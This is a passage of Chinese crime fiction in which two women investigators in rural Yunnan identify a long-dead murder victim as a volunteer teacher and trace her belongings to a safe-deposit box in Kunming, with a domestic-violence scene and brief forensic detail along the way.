“你先吧。”秦梓需想静一静,理一理思路,她这两天旅途奔波,疲劳使得她大脑思考问题有些迟钝了。 “好嘞。”章弥真也不和她客气,拿了换洗衣服就进了卫生间,结果下一秒就惊叫着一溜烟跑回了秦梓需身边。 “咋了?!”秦梓需魂都要被她吓飞了。 “好大的蛾子!在卫生间里。”章弥真尖叫。 秦梓需忙走过去看,一探头进卫生间,就看到在马桶上方的墙壁上,挂着一只成年男人手掌般大小的巨型蛾子,前翅先端整个区域向外明显地突伸,像蛇头,呈鲜艳的黄色,上缘有一枚黑色圆斑,宛如蛇眼,看上去确实相当有冲击力,连秦梓需这个不怕虫子的都脑后麻了一下。 秦梓需不慌不忙,先掏出手机给来了一张照。 “老秦!怎么样啊?”章弥真在外颤声问。 秦梓需觉得好笑,道:“它不会咬你的,要不你就和它一起洗个澡呗?多热情啊,这大概就是滇东山区的待客之道吧。” “你给我赶紧把它赶走!!!”章弥真发飙了。 第33章 第三十三章(投雷加更No.5) 因为一只蛾子,两人又是一番折腾,好歹是把蛾子请走,把澡给洗了。待到熄灯后躺在床上,章弥真开始翻来覆去睡不着。一是因为窗外在下大雨,时而还有电闪雷鸣,二是她觉得这床特别的硬,硌得慌,且被子一股发霉的味道,哪怕套了一次性被套也盖不住。 她其实已经很不认床了,但这个条件实在是让她难受,终于还是失眠了。 “睡不着?”躺了半个多小时,一直安安静静的秦梓需的床上传来了声音。 “嗯……睡不着。”章弥真认命地开口道。 “我查了,那只蛾子应该是乌桕大蚕蛾,世界最大的蛾子之一。”秦梓需道。 “我谢谢你,无用的知识增加了。”章弥真没好气道。 “你很怕虫子吗?”秦梓需问。 “我只是怕蛾子,其他的倒还好。”章弥真道,“小时候不小心吃过活的蛾子,有心理阴影。” “啊?”秦梓需吃了一惊。 “小时候,夏天的晚上,我在外面玩儿,飞跑撒欢时一只蛾子巧合地就钻到了我嘴里,吃了一嘴的……诶,不说了。”章弥真心有余悸道。 秦梓需:“……” “干啥不说话了?你不会也被吓到了吧?”过了一会儿,章弥真转过身子,面向秦梓需的床铺,问道。 秦梓需回道:“我在想一个问题。假设我是凶手,我要从后方控制住被害人,一定是第一时间将涂了乙/醚的布蒙上了她的口鼻。被害人几十秒后就会失去意识,她哪来的机会去吞下凶手身上的金属片呢?这个问题我想了好久了,但刚才你说巧合吞下了蛾子,我又在想……那金属片是不是并非是她从凶手身上咬下来的,而是凶手曾经主动往她嘴里塞过什么东西,取出来时意外落入她的食道,滑入了她的胃里?” “你的意思是,凶手曾经强行控制过她,堵住她的嘴吗?”章弥真疑惑问道。 “不,他没必要这么做,否则何必还需要乙/醚?”秦梓需道。 “那到底是什么意思,单纯是他变态,往被害人嘴里塞东西玩儿?”章弥真蹙眉道。 秦梓需一时间没说话。 好一会儿,章弥真还以为这个话题结束了,秦梓需突然幽幽来了一句: “又或者,是被害人在被乙/醚迷晕前,主动吞下了那个金属片。” 这句话让章弥真霎时间鸡皮疙瘩全都起来了,她呆了片刻,道: “怎么可能,正常人哪里会这么做?除非……” “除非她意识到自己一定会被害,而她并没有逃跑,也没有报警,而是在凶手没有意识到的情况下,吞下了带有凶手指纹的某种金属片,坐等凶手杀了自己。那金属片上的指纹能保留到现在,绝非偶然,而是她很可能在金属片外面做了保护,比如封了腊,让金属片进入腹内后,不至于很快就被胃酸侵蚀。”秦梓需道。 章弥真头皮发麻,半晌说不出话来。 “她为什么……要这么做?”章弥真失神问道。 “很明显,她心知爆燃案现有的证据不足以把凶手送进监狱,所以她牺牲了自己,目的就是让凶手再犯下一起杀人案,以此来让凶手伏法。”秦梓需道。 “不可能,我不相信世间有这样的人。”章弥真断然否认道。 “只是推测,不一定是真的。”秦梓需不予争辩,“但如果是真的,我不相信她没有留后手,只是我们现在暂时没找到罢了。” 章弥真不说话了,秦梓需也不再说什么,二人静默无言,不知何时双双入眠。 翌日清晨,尽管身上还带着疲惫,秦梓需、章弥真仍然早早爬起来洗漱。早间外间还在下雨,只是从昨夜的瓢泼大雨,转为了淅淅沥沥的小雨。 秦梓需、章弥真都换上了雨衣,秦梓需套上了专业的登山雨鞋,章弥真则把她的鞋套预先套上了。 她们和耿剑秋、宋辙在餐厅碰头,吉克也早早等在这里了。吃早饭时,五个人商量了一下今天要做的工作。小宋作为网侦技术员,今天就留守在镇派出所,利用这里的设备将青竹坳中学2002-2005年时的学生的名单尽量筛检出来,然后打电话过去一一确认赵蕾的身份。 秦梓需、章弥真和耿剑秋则和吉克一起到镇子里做走访排查,利用赵蕾的画像,询问镇上的居民她究竟是谁。 为了上下乘方便,不把车里搞得全是水,今天吉克没有开那辆警用SUV,他不知道从哪儿弄来了一辆装有雨棚的电动三轮车,穿着雨衣的秦梓需三人坐到三轮车的车斗里,由吉克拉着在镇子的街上往来。 耿剑秋都乐了,戏称他们都成了快递的派件了。秦梓需和章弥真却不由自主想起何文月案里的那三个乞儿,一时心有戚戚,没有心思开玩笑。 调查并不顺利,她们从镇子上的主干道查起,如同树干分叉一样一左一右地沿街询问,问完了一条街,也没有人认出赵蕾的画像。而查完了这条主干道,镇子里也就不剩下多少户人家没查了。 这主干道上的店铺,好歹都是中年人在经营,也有老年人,但竟然真就没人记得赵蕾。 “这被害人是不是并不喜欢和人交往啊……”走完了一条街,由于毫无所获,众人暂时在街边的檐棚下歇脚。耿剑秋望着雨幕里显得灰蒙萧条的镇子街景,拧开了一瓶矿泉水,一边喝,一边问道。 “很有可能,她毕竟是外来的支教老师,和本地人处不来,可能性也很大。我们也并不了解被害人的性情,也许她确实特别内向,毫无存在感。”秦梓需道。 “其实当年全国张贴画像时,应该是也在本地有张贴过画像吧。当时也没人认出来啊。”章弥真道。 耿剑秋摇头道:“还真不一定,当年公安还没有现在这样全国一盘棋,经常是各自为政,很难完全统筹指挥,地方隔绝的情况也很严重。张贴画像也许张贴了,能起到什么效果则很难说。而且滇东地区教育普及率较低,老百姓一般很少关心生计之外的事。” 章弥真心想,这就是新闻传播理论之中的知识沟理论,自己作为社会经济地位更高的群体,天然掌握着信息传播的特权,所以她不能理所当然地认为落后地区也会和她一样得到相同程度的信息传播。 秦梓需却道:“但这里到底是乡镇,是熟人社会。一个支教老师,不至于在这里完全杳无音讯。咱们还是继续努力,去找些老人查。” 吉克道:“要找老人,那就得跑山了,好多老顽固还在山上守田守林呢,每天都要采药、放牧,忙得很,在镇子里生活,上山干活不方便,所以不肯下来。咱们今天就先去东头查吧。” 于是很快城里来的三人就体会到了什么是山路难走,下雨的山路更难走。虽然山上有修路,但通往各户人家的山道都是人踩出来的,没有沥青平整,坑洼不平,泥泞不堪。 众人深一脚、浅一脚地走访了三四户人家,没能查出什么来,反倒是章弥真的鞋套磨穿了,开始进水。比她更惨的是耿剑秋,他显然准备不足,就穿了一双运动鞋,现在这双鞋里灌满了泥水。 虽然如此,章弥真愣是没叫一声苦,很洒脱地把磨穿了的鞋套丢了,眼见着她那双小白板鞋逐渐被染成棕黑,秦梓需也实在是不忍心: “我回去……再买一双赔给你。” “要你赔啊,我没钱买鞋吗?”章弥真挑眉道,“你别又跟我说什么对不起我的话,这次是我准备不足,你可没有责任。一会儿回去,到杂货铺里买一双鞋临时凑活一下就是。” 两人正说话间,突然传来一声女性凄惨的尖叫,夹杂着男性的怒吼,紧接着她们就听到了锅碗瓢盆噼里啪啦的坠地声。 此时她们正站在一户人家的门口,这户人家是典型的滇东彝族土墙房,墙体低矮,茅草屋檐倾角颇大,以便雨水滑落。 吉克第一个冲进屋里去,拉开了一个中年男人,这男人大白天的一身酒气,嘴里骂骂咧咧说些彝语,他正殴打一个中年女人,那女人披头散发,蓬头垢面,衣衫也洗得发白陈旧,被打得鼻青脸肿,正坐在地上啜泣。她有一张饱经风霜的面庞,看上去年龄似乎比实际年龄还要大。 两人刚才似乎是围着火塘正吃饭,饭碗、汤锅倾撒,地上全是食物。 吉克狠狠禁锢住那个中年男人,也在说彝语,虽然听不懂,但大概能猜到是在劝说那个男人。秦梓需走过去扶那个女人,章弥真则气得攥紧了拳头,恨不能直接往那男人脸上来一拳。 她恶狠狠地盯着那个中年男人,压了半天,终究没能压住情绪,骂道:“狗东西,老娘最看不起打女人的男人!” “啊?你说什么?!”那中年男人暴怒,原来他能听懂汉语,也会说汉语。听章弥真骂他“狗东西”他当即勃然大怒,冲着章弥真就要打过去,但很快他就被吉克掀翻在地,被狠狠压住,动弹不得,只能无能狂怒地叫骂着他所知道的所有汉语脏话。 “诶!章记者,别…别惹事,咱们先出,先出去。”耿剑秋见势不妙,连忙拉住章弥真,将她往门外带。 “别碰我!”章弥真本来就对耿剑秋有成见,正在气头上,突然被耿剑秋动手动脚地拉扯,顿时气得一把甩开他,狠狠瞪了他一眼。 耿剑秋顿时无比尴尬地立在原地,脸上红一阵白一阵,手都不知道该往哪儿放。 “弥真,你回避一下,交给我吧。”秦梓需适时出声,她的声音特别的抓人,章弥真看向她,一眼就和她的眼神对上了。秦梓需的情绪非常冷静,以至于一下就将章弥真的怒气平息了大半。 章弥真不悦地啧了一下嘴,转身走了出去。她不管了,让老秦处理吧。 她站在屋外,淋着细密的雨水,看着外面的青翠山峦,心头耸动的怒意逐渐转化成憋闷与怨愤,她一直都知道这世间的女子大多在受欺压,尤其越是落后的地区,越是如此。但她又能做什么呢?除了扶贫,办教育,让她们都离开这吃人的大山,别无他法。 她在这里可以阻止一次家暴,可她不能一辈子都在这里。她骂那个家暴男几句,不能为那可怜的女人赢得任何好处,甚至可能会让家暴男变本加厉。这些大山里的女人,她们走不出去,一辈子都被困在了这里。 所以要办教育,所以要让女孩上学,所以要让她们去山外见识外面的世界。这是赋予她们看向未来的双眼,赋予她们飞往未来的翅膀。只有这样,才能解救她们。 她拿出手机,点开相册,放大赵蕾的头像,章弥真望着这个沧桑的女人,她孤身一人来这大山里支教,也许是真的很不合群的。然而她在这里坚持着,也许她打心眼里真的是想要将山里的孩子们都带出去,带出贫苦愚昧的怪圈。 章弥真觉得这幅看过无数遍的画像里的赵蕾,好像头一回有了一种难以用语言描述的神韵,她正希冀地望着自己,欲言又止的模样。章弥真突然就鼻头一酸,红了眼眶。 她心中暗暗下定决心:赵蕾,我一定会搞明白你是谁,不论你还有什么未尽的心愿,我都帮你完成。 第34章 第三十四章 秦梓需和吉克在屋内待了大概一刻钟时间,此间,章弥真一个人走出老远,独自淋雨。换了以往,心烦时她会抽烟,但因为秦梓需劝她戒烟,她真就没有再抽,这次出来,也没有带烟。 耿剑秋倚在门口,他显然不敢再靠近章弥真。 秦梓需出来后,第一时间就找章弥真,见她在好远的地方,秦梓需没有喊她过来,而是走过去找她聊。 “走吧,咱们去下一家。”她道。 “这家人什么情况?”章弥真问。 “这家人情况不是很好。”秦梓需叹息道,“这对夫妻本来在县里生活,那个男的原来是在县里做水电工,女的是家庭主妇,会打零工补贴家用。他们有一儿一女,儿子打小不成器,现在在外务工不回来。女儿是村里少有的大学生,非常优秀。她考上了成都理工大学,是家里全部的希望,她离开村里后,每年也就暑假和过年回来。 “2012年,她女儿大四那年的暑假没回来,说是找到了很好的实习机会,要去韩国一家汽车厂实习。结果,在韩国出了意外,去世了。” “什么意外?”章弥真眉头紧蹙。 “好像是误食了什么东西,急性食物中毒,没抢救过来。吉克也不是很清楚情况,那老两口没文化,更说不清楚。”秦梓需道,“所以,女儿出事后,这个家的天塌了。为了付清女儿在韩国抢救的医药费以及高昂的跨国丧葬费,老两口变卖了县里的房产,回到了镇子里的老宅居住。 “后来他们拿到了赔偿款,这钱其实足够他们再回县城买房居住,但男的无心工作,也不想搬家,成天酗酒,脾气也变得极坏,动不动就打老婆。女的只能默默承受,毫无反抗之力。 “镇里、村里一直想着解决他们的问题,各种能让他们享受的福利都加上了,妇联也时不时过来看看,害怕家暴把人打死。旁边的邻居遇上打得厉害时,也会跑来劝架,就这么将就过活。他家那个儿子在外面从来也不回家,相当于断了关系,总之……很头疼。” 章弥真道:“女的没想过离婚或者自己独自过活吗?” “看那个样子,她很难有这种想法。她有一种负罪感,据说,女的一直偏爱儿子,对女儿比较冷落,男的则相反。所以男的每次就会以此为借口殴打她,搞得那女的形成了一种惯性的内疚心理,觉得自己对不起女儿,对不起丈夫,她得赎罪。妇联不是没尝试过劝说她离婚独自生活,她自己不肯,试着把她和男的隔绝开来,她还会自己跑回去。谁也强迫不了她。”秦梓需道。 章弥真哑口无言。 秦梓需安慰她:“家家都有难念的经,我们能做的其实真的不多,个人命运个人承担。你也别想太多了,至少村委和妇联对这家的情况有数,该怎么做,交给本地的人来处理吧。” “嗯,抱歉,我……冲动了。”章弥真道歉道。 “你没有错。”秦梓需很坚定地回应道。 她转身往回走,章弥真连忙跟上她。 这个小插曲过后,一行人之间的气氛变得很沉闷。吉克带着他们继续跑山,又走了好几户人家,最终都以无果收场。 唯一的收获是,一位养羊的老妪认出了画像上的赵蕾,但她不知道赵蕾叫什么名字,只叫她“阿嫫”,这是彝语里对女性长者的尊称,引申为“女老师”。 她说她从前放羊时,时常会在坡子上见到“阿嫫”上山,“阿嫫”是青竹坳中学的支教老师,不爱说话,喜欢在半山腰的石亭里写写画画。 但问她知不知道“阿嫫”是谁,后来去哪儿了,她却一问三不知,看来只是偶尔打声招呼的关系程度。 这位养羊的老妪正是昨日秦梓需在宾馆北窗看到的那位山坡上的赶羊人。 由此,她们至少可以确认赵蕾确实是曾经生活在这个镇子上,确实是镇上青竹坳中学的老师。这无疑给受挫了一天的几人注入了一剂强心针。 中午,他们在一家镇子上的小餐馆吃饭,这是一家黔菜馆子,昭通西北与四川凉山彝族自治州接壤,东南临近贵州毕节和六盘水,因而这里的食俗、语言与云南其他地区反而有些不大一样,更亲近贵州和四川。 他们点了几道菜,要了米饭来吃。出差在外,难得能吃一顿稍微正经的饭。小馆子炒菜的手艺居然还不赖,味道很香,就是对于东南沿海来的几人来说,还是有点辣了。 章弥真和耿剑秋之间明显很疏离,一张四方桌,她是既不愿意跟耿剑秋坐侧面,也不远坐对面,最后直接和秦梓需挤在了一起,离他老远。 秦梓需真是哭笑不得,也不知道该怎么劝她,她也并不想当什么和事佬,干脆就放任自流了。 耿剑秋显然也不大好过,只是他又放不下脸面、身段向章弥真道歉,就这么杠上了。 疙疙瘩瘩吃完了饭,一行人没急着再去跑,而是回到了派出所,先与小宋汇合,了解下查了一上午有没有什么结果。 没想到小宋这里真的有大突破,他查到了青竹坳中学2005届初三毕业生的名单,这届初三生应该是赵蕾带的最后一届学生了。 他联系上了这里面一位女学生,和对方还加了微信,将赵蕾的画像给对方看。对方还真就一眼认出来了: 【这是我们当年的语文和历史老师杨老师,带了我们三年呢。】 小宋连忙追问:【你知不知道她全名?】 【杨莲,我没记错的话,应该是这个名字。】 小宋还追问了一下:【当年你们毕业后,镇子上有没有张贴过她的画像?】 【没有啊,印象中从来没见过她的画像,她怎么了?】 后面小宋没明确回答,只说警方在做人口普查,了解情况,感谢配合。 小宋为了确认不是她认错了,还连续问了另外三个人,这三个人都认出画像上的人是杨莲,因此她的身份应该确定无疑了。 “当年镇子上居然没有张贴过画像吗?”秦梓需挠头。 “各地协查之间出现了问题,太正常了,尤其是这还是偏远地区,信息传递过程中出现偏差,都是有可能的。”耿剑秋道。 “哼,积案就是这么出现的。”章弥真冷哼了一声,她看不惯耿剑秋这种为工作不力辩护的嘴脸。 耿剑秋又被她怼了一下,神色不豫。 秦梓需岔开话题,道:“小宋,你怎么没立刻联系我们?” 小宋电击鼠标,一边操作公安系统,一边解释道:“我是想着先查一下杨莲的情况,完全确定后,再和你们汇报的。结果刚查没多久,突然就因为下雨短路断电了,我又帮着他们去修电路,隔了两个多小时才来电,这就到中午了,你们都回来了,我还没查明白。” “这山里条件确实有限,辛苦你了。杨莲什么情况?”秦梓需凑到电脑前问道。 小宋把他目前查到的情况念了出来: “她这个人……很奇怪,没有失踪报案,户口挂在上海闵行,履历上写了出生于1962年7月21日。读的什么中学没有记录,1980年考入上海交通大学中文系,后读到博士并留校任教,1997年参与上海和云南之间的对口支教项目,就到了青竹坳中学来。2005年离开支教点,回到上交大辞职,时间是2月份。 “后面的履历就没有,成了自由职业。她没有结婚,也没有生育,户口里就她一个人,她的父母亲是安徽铜陵枞阳县汤沟镇村民,都已经离世,还有一个弟弟在世,但和这个弟弟之间好像从无联系。这弟弟现在生活在合肥,他似乎根本不在乎姐姐到底在哪里,根本就没有向警方报过失踪。” 秦梓需道:“好,就这些够了,不用再查了。我们这就再去一趟青竹坳中学,查一查杨莲的情况。你这里再查一下杨莲和胥城之间的关联,她有没有到过胥城?或者有没有到过蚌埠?和蚌埠之间是否关联。” /:. “啊?蚌埠?”小宋不解。 “嗯,陈老师是蚌埠人,查一下。”秦梓需简略解释道,“还有,先吃饭再查,你这肚子叫的,震天响。” 秦梓需笑着拍了一下小宋的肩膀,然后就招呼章弥真、耿剑秋和吉克离开了派出所。 “这下确定就是杨莲了吧?”坐在飞驰的三轮车上,章弥真兴奋问道。 秦梓需点头:“嗯,侦查的角度来说,是她没错。但如果从司法的角度来说,还不够确切,我们得找到杨莲生前的物品,比对上DNA后,再加上证人证词以及锶同位素比对,才算是在法律证据链上毫无漏洞。” 他们火急火燎地赶到青竹坳中学,今日是周六,学校放假。但因为是寄宿制学校,学生们其实并未离校,学校的工作人员也都在。 她们再次找到了教导主任龙老师,这下不费吹灰之力查到了杨莲的情况。 “杨莲老师……她05年的2月就离职了,后续她去了哪儿,我们也不清楚。”龙老师道。 “她的生前物品还保留着吗?她生前住在哪儿?”秦梓需追问。 “应该是住在教师宿舍,但……老的教师宿舍2010年时翻新过,都推平重建了,现在啥也找不到了。”龙老师道。 “档案呢?你们手头上有她的档案吗?”耿剑秋问。 龙老师为难道:“她是上海来的支教老师,她的关系都在上海,我们怎么会有她的档案呀。” 章弥真干脆道:“那这样,我问你,你们05年之前的资料保存在哪里,有没有丢失过?” “这……没有,都存在学校的档案室里。” “好,钥匙给我们,我们自己进去找。”章弥真已经懒得和她废话了,她看出来这位教导主任龙老师怕事推诿的性格特征。 “几位不必费那个功夫了。”突然教导主任办公室门口出现了一个谢顶的中年男子,他道,“我建议你们去老校长家里找找看。” “校长?”龙老师有些惊讶,她都不知道校长是什么时候就站在门口了。 “您就是校长,冒昧打搅了。”秦梓需上前主动与对方握手。 校长客气道: “实在抱歉,昨天你们来的时候我不在。你们要打听的是杨莲老师的话,她的情况老校长是最清楚的。” “您认识杨莲?”秦梓需问。 “不认识,根本没见过面。”校长道,“但我05年那会儿已经在县教育局工作了,经常会拜访老校长。那会儿听他抱怨过,说是在咱们这儿干了8年支教的杨莲老师突然辞职,让他根本找不到代课老师,手忙脚乱的。 “他那时很怄气,说他待杨莲老师很好,她性格孤僻,只和校长老两口走得近,经常还会去校长家里吃饭。老两口没有孩子,把她当亲女儿看待。没想到她会突然辞职,就这么告别离去,走得特别突然,甚至不给任何人喘息消化的余地。 “我想,如果她一直和校长老两口亲近,可能老校长那里会有她的东西。” 秦梓需迟疑道:“老校长已经过世了,他那里……“ “这个你们放心,他夫人还健在,而且脑筋清楚,条理清晰,一直珍藏着他的遗物,你们去找找吧。”校长道。 “好,多谢您,如果没找到,我们再回来,麻烦您让我们查一下档案库。”秦梓需道。 “当然,没问题,我们一定配合。” 出学校后,章弥真小声跟秦梓需嘀咕:“这不让查档案库是啥意思,这学校该不会有啥见不得人的东西吧?” 秦梓需笑了:“谁会把见不得人的东西存进档案库啊。只是怕我们把东西翻乱了,他们不好收拾罢了。而且这外面下雨下成这样,潮气太大了,我们进进出出的,档案不得受潮吗?没事,我觉得也许真如校长所说,就在老校长家里。我有预感,我们这趟不会走空。” 第35章 第三十五章 老校长江志高的家竟然就在此前她们遭遇的那户家暴人家的山坡顶端,她们又一次路过了那户人家。但这一回,屋内很安静。 沿着泥泞的道路继续向上走,三轮车已经因为轮胎打滑走不动了,只得丢在路边。她们手脚并用地向上爬,脚下的土路已经汇成了泥浆小溪,湿滑无比。 好不容易气喘吁吁地爬到江家门口,她们站在屋檐下大喘气,整理身上的狼狈。 望着檐外哗啦啦下个不停的大雨,好似老天爷倾倒不止的洒水壶,将整个山谷灌满蒸腾的雨雾。砸在头顶青瓦上的雨水,发出清脆声响,坠落如线,滴入脚下青砖的凹坑,反衬得山谷间万籁阒寂。 耿剑秋率先敲响了门,吉克却道: “别敲了,老太太耳朵不好,听不见。” 说着他就走到厢房窗户边,直接打开了窗户,向里面大喊:“陆奶奶!!陆奶奶!!!” “来了来了,谁啊?是吉克吗?”很快屋里就有了回应,一个佝偻着背、满头银发的老太太出现在厢房里。她虽衣着质朴,却操着一口相当标准的普通话,与本地村民的口音截然不同。 “是我呢,我带了几个警察朋友,想要到您这里来找点东西。”吉克道。 “哦,进来吧。”老太太蹒跚地去开门。 众人被让进屋子里,本着尊老的传统美德,所有人都很热情地和陆老太太打招呼,嘴里学着吉克一口一个“陆奶奶”,听得老人家心花怒放。 见所有人都一身湿气,陆老太太请大家到火塘边围坐,烤火祛湿。虽然是大夏天,可这山里也就十来度,连二十度都到不了,相当阴冷湿寒,所以家家户户都有火塘,或者可以用藏族人的称谓——锅庄,不然日子没法过。 大概是家里难得有这么多人来,老太太找了半天,也没凑够可以待客的杯子来沏茶,只得以碗替代,给几人煮了一壶奶茶。 “我是内蒙人,这是我老家的奶茶。”陆奶奶笑着给每个人倒满一碗。 “您居然是内蒙人?怎么会到这里来呢?”章弥真讶异问道。 “68年知识青年上山下乡,搞大串联,我和老头子就是那会儿来的云南。那会儿我才22岁。”陆奶奶把茶壶挂在火塘上,问: “你们要找什么?” “您还记得杨莲吗?”秦梓需问。 “什么?”老太太没听清。 “杨莲!您还记得杨莲老师吗?!青竹坳中学的支教老师!”秦梓需大声道。 老太太的神色微微有些呆滞,陷入了回忆,半晌,她语气低缓下来: “记得,记得的,她怎么了?” “我们想问问看您这里有没有她的东西?”章弥真接过话茬,问道。 老太太又是一番回忆,迷糊道:“按理说,我家也不该有她的东西。你们是不是该去学校找呀。” “我们去过学校了,校长说,杨莲老师和你们老两口关系好,经常来你们家里做客,所以我们想来问问看。”章弥真道。 “诶呦,这……我还真说不好,我找找看吧,说不定夹在老头子的遗物里了。”老太太返身往卧室里去。 秦梓需给章弥真使了个眼色,章弥真连忙起身跟了过去,道: “我来帮您。” 剩下秦梓需、耿剑秋和吉克围在火塘边,耿剑秋有点憋不住,趁机跟秦梓需道: “秦老师,章记者是不是对我有什么意见啊?” 秦梓需尴尬地笑了一下,道:“她这个人比较敏感,并不是针对你,你也别多想。” “哦……”耿剑秋意味不明地应了一声。 吉克见他们突然聊这个,有点尴尬,也离开了火塘,跟着去帮忙找东西去了。 秦梓需转开话题道:“耿队之前有关注过这个案子吗?” “哦,那必须关注过。每一任刑警大队长上任,都得过一遍辖区内的积案。这个案子我们一直很头疼,毕竟已经交给市局主办,市局不重启,我们也不好继续查。”耿剑秋道。 “那案子查到这个地步,耿队有什么看法?”秦梓需问。 耿剑秋道:“我认为秦老师查的大方向没什么问题,但对于凶手的画像我有些别的看法。我认为凶手不该是学生,可能是与马军有关联的人物。这个人在引发爆燃案后,又杀了前来查爆燃案的杨莲,以绝后患。” “哦?何以见得?”秦梓需蹙眉问道。 耿剑秋分析道:“嗯……那起爆燃案的档案我看了,现场并未找到定时引/爆的装置,距离爆燃点最近的人是被害人陈君梅,明显点火的是她。凶手顶多只是放了煤气,煤气的味道是很明显的,事发时,被害人陈君梅和其丈夫马军都在一楼,不至于闻不出来。 “既然闻到了气味,为什么陈君梅还会点火,这不是找死吗?唯一能够解释的就是,当晚夫妻俩因为某种原因产生了争执,陈君梅是在负气激动之下,故意点火引发的爆燃。 “至于未上锁的月牙锁和斜坡上的脚印,都可以有别的解释,不一定是凶手留下的痕迹。” 秦梓需沉吟,一时间没说话。耿剑秋的分析不无道理,这其实是也是当年的侦查方向之一,当年警方确实在查爆燃案时摸排过马军的人际关系,只不过当时所有关联人员的嫌疑都排除掉了。 “假如有定时引/爆装置,只是因为大火和爆燃被摧毁掉了,再也无法分辨。是否就有学生作案的嫌疑呢?”秦梓需反问。 “这……”耿剑秋摸了摸下巴,道,“确实,如果有定时引/爆装置,就有学生作案的嫌疑了。可这该如何证明呢?” 是啊,该如何证明呢?现实就是,现场没找到定时引/爆装置,等于是无物证,不能够无中生有。这也是侦查爆燃案的一大难题。 不过这个问题已经算是比较遥远的问题了,他们眼下面临的问题是——找到赵蕾留下的遗物。 等了好一会儿,卧室里一直没有好消息,秦梓需终于还是坐不住了,起身过去查看。见她动了,耿剑秋也起身跟了过去,但卧室容不下那么多人,他站在门口,没有进去和她们挤。 章弥真正在忙着帮陆奶奶叠翻出来的衣服,吉克帮着奶奶从衣柜的最深处搬出了一只老旧的木箱子,箱子上的琐已经被打开了。 奶奶嘴里嘀嘀咕咕,正把里面的东西一点一点拿到卧室里的一张书桌上,这里面都是老校长的遗物,有书籍、信件、文件、奖状奖章、相册和已经失效了的一些证件、银行卡。 “找到了吗?”秦梓需问章弥真。 章弥真摇头,道:“翻了半天,全是老校长的东西,没有找到和杨莲有关的东西。” “老头子走了后,学校整理了他的遗物送了回来,我就存在这个箱子里,偶尔会拿出来瞧瞧。我是真没见过他遗物里有关于杨莲的东西。”老太太开口解释道。 秦梓需走去桌子边,将已经翻出来的那些文件又仔细检查了一遍,这些文件很多都是和学校有关,各种上级通知、政策文件还有一些关于校舍的合同复印件,乱七八糟一大堆,早就没用了,应该被处理掉了。 秦梓需突然翻出来一个老旧的皮质钱包,她打开钱包,发现里面塞满了各种各样的收据和发票,她将这些收据发票全部拿出来,一一看过去。 这里面有10年前学校水电费的发票,有各种银行存单,有一些学校收费的收据,采购的回单,看得她眼睛都花了。 但她还是从这么些五花八门的单子里,找到了一张有些特别的存单。这是银行保险柜的存单,存物人是老校长江志高,存入时间是2013年5月15日,年租金是100元,租期二十年,一口气缴纳了2000元的租金。 秦梓需直觉上觉得这个银行保险柜的存单的出现显得特别不自然,因为一般人显然没有使用银行保险柜的需求。而且这个单子是存在远在昆明的一家大银行里,就更不自然了。 她盯着这份存单看了片刻,就抓着它询问陆老太太道: “奶奶,这个单子您有印象吗?” 老太太将挂在身前的老花镜架到鼻梁上,垂着眼仔细看,半晌没吱声。 “您见过吗?这是个银行保险柜的存单,一次性付了20年的租金,足足2000元呢,可不便宜。”秦梓需道。 “诶呦,这单子我还真没见过。但我有模糊的印象,有那么一回,他一个月的工资莫名其妙没了,我还问他来着,他糊弄我说是拿去给孩子们买营养品了。哎哟,那老头子,就是那个样,工资在他手里捂不热,我要是不看着,他能全花到学校上去,还不如不给他发工资呢。” 老太太絮叨着,秦梓需则心中有数了,他看了一眼章弥真,章弥真看懂了她的眼神。 秦梓需又问:“那您知不知道这个银行保险柜的钥匙在哪儿?” “不知道,湳枫真不知道。从学校拿回来的钥匙,都在这个铁皮盒子里了。”老太太指了指木箱子里放着的一个表面已经生锈的饼干盒子。 吉克将盒子拿起来,哗啦啦响,一打开,里面零散地扔了几把钥匙,也不知道这些钥匙都是做什么用的。 秦梓需没使用过银行保险柜,在场的其他人也都没有此经验,因此她们也不大清楚银行保险柜的钥匙长什么样。她只能将这些钥匙全部取出来,装在随身携带的证物袋里,又将那银行保险柜存单小心收好。 她向吉克、章弥真使了个眼色,二人会意,便开始说些“找不到就算了”“不找了”的话,帮老太太收拾翻得乱七八糟的东西。 秦梓需揣着东西出屋门,和外头的耿剑秋低声交代了几句: “找到了一个存物品的单子,是昆明一家大银行的存单,我们得跑一趟昆明,去把东西取出来看看。” 耿建秋点头,转头去打电话联系本地派出所去了,顺带向领导汇报,让上头给做一下协调。 秦梓需感到屋里闷得慌,她几步走出屋外,站在屋檐下透气。大雨仍然在下,秦梓需望着远处晦暗的山峦,心口跳得飞快。 第36章 第三十六章 事不宜迟,她们第二天一大早就出发往昆明,从药山镇往昆明,一路三百多公里,4个多小时路程。仍然是吉克驾车,小宋留守药山镇,早7点出发,一直到中午才到。 找到那家银行的位置之后,因为临近午休,众人也不急着非要这会儿去打搅别人休息,于是寻了家餐馆吃午饭,饭后,找了一家咖啡馆坐下来休息。 刷着手机,秦梓需收到了刘雪莹、李之枚在蓝信群里发的新消息,关于杨莲尸骨的检验已经进入尾声。尸骨除了颈骨被斩断之外,暂时并未发现其他生前骨折的痕迹,也没有中毒迹象,可以下定论,死者的死因就是斩首。 凶手用了斩肉刀,从被害者仰卧面下刀,一刀就斩断了气管、食管,刀锋在椎骨处被阻拦,随后他又劈砍了另外两刀,都砍偏了,第四刀总算斩断了颈骨,随后反复几刀,直至彻底将头部斩下。 她望了一眼章弥真,章弥真好像没有关注蓝信消息,她正忙着处理她自己工作室的工作。 秦梓需心想章弥真应该也差不多适应了这种残忍的杀人手法,不会产生太大的反应了。正思索间,突然来电话了,一看居然是谢云卿的蓝信电话,她连忙起身,往咖啡馆外去。 她心想,应该是启程往云南来的路上拜托谢云卿调查的关于章弥真被人莫名送猫的事有结果了。 果不其然,刚接起电话,寒暄两句,谢云卿就直入主题: “送猫的人我亲自去问过了,她确实不知道是谁。那个流浪动物救助站有自己的微信号,他们会在那个微信号上更新流浪动物的照护情况,并发布领养信息。经常就会有人来领养小动物,但基本只限于同城和周边地区,太远他们就顾不上了。 “我问她,是否有接到过类似这次的这种订单,她说之前也有过,是有客户人委托他们去给别人送领养动物的。但从没有人给他们这么详细又奇怪的指示的:一是收养方匿名不登记、二是送猫的过程里不与外人接触说话、三是放在门口就走,不要和收养人说话。对方给出的理由是,要给对方一个惊喜,产生的后果不用他们来负责。 “这帮救助站的人也是年轻,没有社会经验,而且对方一下就给他们转了10000元作为报酬,有钱能使鬼推磨,她就照办了。 